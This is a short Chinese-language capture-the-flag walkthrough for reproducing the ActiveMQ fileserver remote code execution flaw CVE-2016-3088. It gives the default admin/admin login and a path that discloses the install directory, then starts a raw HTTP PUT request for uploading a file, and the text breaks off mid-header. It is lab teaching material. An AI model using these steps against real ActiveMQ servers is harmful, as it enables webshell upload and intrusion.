activemq 远程代码执行 （CVE-2016-3088）

简介

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器，它为基于 Java 的 web 容器，例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了 jetty。Apache ActiveMQ Fileserver 存在多个安全漏洞，可使远程攻击者用恶意代码替代 Web 应用，在受影响系统上执行远程代码，请拿到 flag，默认在/tmp/目录中。提示：该漏洞一句话木马无法执行，请利用命令执行小马。

复现

写 shell 的话，需要写在 admin 或者 api 中，也就是需要登录，没有密码的话完成不了写 shell 操作。

该环境默认的口令为 admin/admin。

访问 http://ip:8161/admin/test/systemProperties.jsp

获得当前系统的路径

 

put发包上传

PUT /fileserver/2.txt HTTP/1.1
Host: 192.168.13.132:8161
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Tri